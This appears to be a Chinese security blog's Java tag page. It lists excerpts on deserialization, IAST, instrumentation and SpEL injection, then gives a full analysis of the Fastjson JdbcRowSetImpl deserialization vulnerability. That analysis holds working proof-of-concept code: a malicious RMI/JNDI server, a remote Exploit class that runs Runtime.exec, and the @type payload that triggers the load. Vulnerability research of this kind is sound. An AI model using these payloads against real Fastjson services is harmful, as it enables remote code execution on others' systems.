标签 java 下的文章

Java“后反序列化漏洞”利用思路

“后反序列化漏洞”指的是在反序列化操作之后可能出现的攻击面。反序列化漏洞是Java中最经典的一种,所以大家可能的关注点都集中在反序列化过程中的触发点而忽略了反序列化之后的攻击面,这里我会分享一些在Java反序列化后的攻击思路。

阅读剩余部分 –

聊聊对目前Passive IAST的思考

之前一直有在研究Java插桩应用于安全防御以及检测方面的东西,主要分为RASP和IAST。IAST又叫交互式应用安全测试,它目前主要分为主动式(Active)和被动式(Passive)两种,上个暑假有机会重点接触了一下Passive IAST的一些研究工作。这里打算简单聊聊,也算是一个总结与思考。不会涉及太多技术细节,简单分享下我对的被动式IAST的应用以及优势还有劣势的看法以及存在的一些问题和新的思路。希望能和大家一起交流探讨。

Passive IAST原理

核心

利用Instrumentation API我们可以提供一个Agent代理用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。简单来说就是在运行的应用中织入一个我们的程序。而在这个程序中我们就拥有了获取当前应用的上下文,在应用运行中实时分析数据流以及调用栈的能力,同时也可以通过ASM对已经加载的class进行分析与修改。

在织入我们检测的逻辑代码后,被动式IAST主要是通过污点跟踪的方法来对漏洞进行检测,因为是实时数据流,所以这里我们称为动态污点传播分析。这是与静态扫描中污点分析的一个小区别,而其优势和劣势也主要在这里。

阅读剩余部分 –

SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。

介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

阅读剩余部分 –

通过HashMap触发DNS检测Java反序列化漏洞

我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说fastjson会自动运行setter,getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API,比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是,你选择测试的gadget服务器正好没这个jar包或者更新过了,但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。

阅读剩余部分 –

深入理解Java反射中的invoke方法

什么是反射

反射(Reflection)是Java程序开发语言的特征之一,它允许运行中的Java程序获取自身的信息,并且可以操作类或对象的内部属性。主要是指程序可以访问、检测和修改它本身状态或行为的一种能力,并能根据自身行为的状态和结果,调整或修改应用所描述行为的状态和相关的语义。

Oracle 官方对反射的解释是:

Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions.
The API accommodates applications that need access to either the public members of a target object (based on its runtime class) or the members declared by a given class. It also allows programs to suppress default reflective access control.

简而言之,通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以我们可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。

反射的核心是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。

Java 反射主要提供以下功能:

  • 在运行时判断任意一个对象所属的类;
  • 在运行时构造任意一个类的对象;
  • 在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);
  • 在运行时调用任意一个对象的方法

重点:是运行时而不是编译时

反射的主要用途

很多人都认为反射在实际的 Java 开发应用中并不广泛,其实不然。当我们在使用 IDE(如 Eclipse,IDEA)时,当我们输入一个对象或类并想调用它的属性或方法时,编译器就会自动列出它的属性或方法,这里就会用到反射,当然也有的用到了语法树。

在 Web 开发中,我们经常能够接触到各种可配置的通用框架。为了保证框架的可扩展性,它们往 往借助 Java 的反射机制,根据配置文件来加载不同的类。举例来说,Spring 框架的依赖反转 (IoC),便是依赖于反射机制。

反射invoke实现原理

invoke方法用来在运行时动态地调用某个实例的方法
它的实现代码如下:

1.权限检查

通过代码我们可以看到,首先invoke方法会检查AccessibleObject的override属性的值。而AccessibleObject类是实现了AnnotatedElement,它是Field、Method和Constructor对象的基类。它提供了将反射的对象标记为在使用时取消默认Java语言访问控制检查的能力。对于公共成员、默认(打包)访问成员、受保护成员和私有成员,在分别使用 Field、Method或Constructor对象来设置或获得字段、调用方法,或者创建和初始化类的新实例的时候,会执行访问检查。
override的值默认是false,表示需要权限调用规则。我们常使用的setAccessible方法就是将其设置为true,从而忽略权限规则,调用方法时无需检查权限。
继续往下看,当其需要权限调用则走Reflection.quickCheckMemberAccess,检查方法是否为public,如果是的话跳出本步。如果不是public方法,那么用Reflection.getCallerClass()方法获取调用这个方法的Class对象

这是一个native方法,我们从openJDK源码中去找它的JNI入口(Reflection.c)

具体实现在hotspot/src/share/vm/prims/jvm.cpp
屏幕快照 2019-09-08 下午4.10.28

获取了这个Class对象caller后用checkAccess方法做一次快速的权限校验

这里主要是进行一些基本的权限检查,以及使用缓存机制。

阅读剩余部分 –

根据StackTrace中java行号定位jsp行号的方法

前言

在做相关插桩的研究的过程中发现针对jsp中编写java代码的情况,因为容器会将jsp转为servlet的java文件,所以无法有效的定位到其源jsp文件的内容。
此处以openRASP为例,因为无法有效的定位到jsp文件所在内容,所以会给开发人员寻找具体代码造成困难。
屏幕快照 2019-07-05 下午12.59.51
由此做了相关方面的研究,并给出对应的解决方法。

阅读剩余部分 –

插桩技术在Java安全中的应用简述

介绍

随着信息技术的发展,软件开发技术呈多样性发展趋势,其中Java在开发领域具有一定代表性。软件效率的提高同时增大了漏洞发现与防御的挑战。在当前WAF与静态代码检测都发展迅速的情况下,WAF在一些特殊情况下可能无法正确拦截,而静态检测的缺点在于误报率高。因此需要进行动态交互式监测,由此可以从底层对于攻击向量进行检测或者验证程序中是否实际存在安全漏洞。

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。

目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。接下来会简要介绍该技术以及相关知识内容。

阅读剩余部分 –

由浅入深SpEL表达式注入漏洞

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

阅读剩余部分 –

探秘Java反序列化漏洞四:Fastjson反序列化漏洞分析

json序列化反序列化是通过将对象转换成json字符串和其逆过程,Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景
通过之前的反序列化漏洞学习我们知道,挖掘其漏洞核心思想就是找到应用,组件或者方法中的反序列化操作,如果其没有进行有效合法的判断或者其黑名单不够全,那么我们就可以通过利用JDK中固有类的方法组合来构造出一条攻击链,从而在其反序列化过程中成功唤醒我们的攻击链来达到任意代码执行
关于Fastjson反序列化漏洞的POC我也在网上看了许多文章学习,在此还是要感谢各位大佬的分享。在其中我选择了一种相对容易的基于JdbcRowSetImpl调用链来进行本次的分析

快速入门Fastjson

首先让我们了解一下Fastjson的基本使用方式
其常用方法主要是通过toJSONString方法来序列化,parseparseObject方法反序列化,

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

public class Test {
    public static void main(String[] args) {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        User user1 = new User();
        user1.setName("test");
        user1.setAge(1);
        System.out.println("obj name:"+user1.getClass().getName());

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        String serializedStr1 = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);

        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getName());
        System.out.println();

        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");

        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
    }
}

运行结果

{"key2":"Two","key1":"One"}
obj name:test.User
serializedStr={"age":1,"name":"test"}
serializedStr1={"@type":"test.User","age":1,"name":"test"}
test

{"name":"test","age":1}
obj name:com.alibaba.fastjson.JSONObject

test.User@31900174
obj1 name:test.User

可以看到当我们通过使用SerializerFeature.WriteClassName时会在序列化中写入当前的type,@type可以指定反序列化任意类,调用其set,get,is方法。在读取中我们可以通过设置指定的object来返回相应对象

Fastjson反序列化流程

JdbcRowSetImpl_1
上图是反序列化框架图,其中反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类
首先程序会根据Lexer词法分析来处理字符
屏幕快照 2018-07-13 下午12.04.02
之后在parseObject方法中

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

ObjectDeserializer接口进入JavaBeanDeserializer类中的deserialze实现方法完成反序列化操作。其中执行具体方法见其框架图

所以我们简单构造一个模拟流程
创建实体类

public class Evil {
    public String name;
    private int age;
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

反序列化操作

public class App {
    public static void main(String[] args) {
        Object obj = JSON.parseObject("{\"@type\":\"test.Evil\", \"name\":\"test\",\"age\":\"18\"}");
        System.out.println(obj);
    }
}

执行结果
屏幕快照 2018-07-13 下午3.37.21
可以看到在反序列化的过程中调用了我们的无参构造方法,以及get,set方法

JNDI

JNDI(The Java Naming and Directory Interface,Java 命名和目录接口) 是一组在Java 应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的方式。借助于JNDI 提供的接口,能够通过名字定位用户、机器、网络、对象服务等。

Java Naming

命名服务是一种键值对的绑定,是应用程序可以通过键检索值

Java Directory:

目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件

简单来说JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索对象(object),对象可能存储在rmi,ldap,CORBA等等。在JNDI中提供了绑定和查找的方法,JNDI将name和object绑定在了一起,在这基础上提供了lookup,search功能

1、void bind( String name , Object object ) //将名称绑定到对象
2、Object lookup( String name ) //通过名字检索执行的对象

下面是一个小demo
首先我们一个远程接口

//远程接口
public interface RmiSample extends Remote {
    public  int sum(int a,int b) throws RemoteException;

}

以及其实现

public class RmiSampleImpl extends UnicastRemoteObject implements RmiSample{
    //覆盖默认构造函数并抛出RemoteException
    public RmiSampleImpl() throws  RemoteException{
        super();
    }
    //所有远程实现方法必须抛出RemoteException
    public int sum(int a,int b) throws  RemoteException{
        return a+b;
    }
}

建立Server

public class RmiSampleServerJndi {
    public  static void main(String[] args) throws Exception{

        LocateRegistry.createRegistry(8808);
        RmiSampleImpl  server=new RmiSampleImpl();
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        ctx.bind("java:comp/env/SampleDemo",server);
        ctx.close();

    }
}

以及客户端

public class RmiSampleClientJndi {
    public static void main(String[] args) throws Exception
    {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        String url =  "java:comp/env/SampleDemo";
        RmiSample RmiObject  = (RmiSample)ctx.lookup(url);
        System.out.println("  1 + 2 = " + RmiObject.sum(1,2) );

    }
}

首先启动服务端,接着客户端连接
屏幕快照 2018-07-13 下午4.06.57
最终输出调用结果
屏幕快照 2018-07-13 下午4.11.19

JNDI Naming Reference

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)

JNDI注入

JNDI注入产生的原因可以归结到以下4点

1、lookup参数可控。
2、InitialContext类及他的子类的lookup方法允许动态协议转换
3、lookup查找的对象是Reference类型及其子类
4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

POC

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        //在本机1099端口开启rmi registry
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://127.0.0.1:8088/");
        //第二个参数指定 Object Factory 的类名 第三个参数是codebase 如果Object Factory在classpath 里面找不到则去codebase下载
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

这里可以知道,当我们远程连接时它会先在classpath中找,如果没有会在我们指定的地址中去加载去实现factory的初始化

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

将Exploit生成的class文件放到web目录下
然后将我们的客户端lookup的地址指向刚才我们创建的RMI服务从而达到代码执行

System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext();
Object obj = ctx.lookup("Exploit");

所以说整个攻击流程为
受害者JNDI–>攻击者RMI服务–>受害者JNDI加载web服务中的恶意class–>受害者执行其构造方法

基于JdbcRowSetImpl的POC分析

public class SomeFastjsonApp {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI 方式
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }
}

在反序列化过程中会设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。

public void setDataSourceName(String var1) throws SQLException {
        if(this.getDataSourceName() != null) {
            if(!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }

    }

设置autoCommit属性

public void setAutoCommit(boolean var1) throws SQLException {
        if(this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

其中触发connect方法

protected Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

这里关键的可以看到

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

这里可以发现其实例化了InitialContext并且调用了lookup方法,又因为其getDataSourceName为我们之前set的dataSourceName也就是攻击者的RMI服务,最终造成任意代码执行
效果如下
屏幕快照 2018-07-13 下午7.51.44

修复建议

升级旧版本Fastjson
影响范围:1.2.24及之前版本
安全版本:>=1.2.28

参考资料

http://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/417/
http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf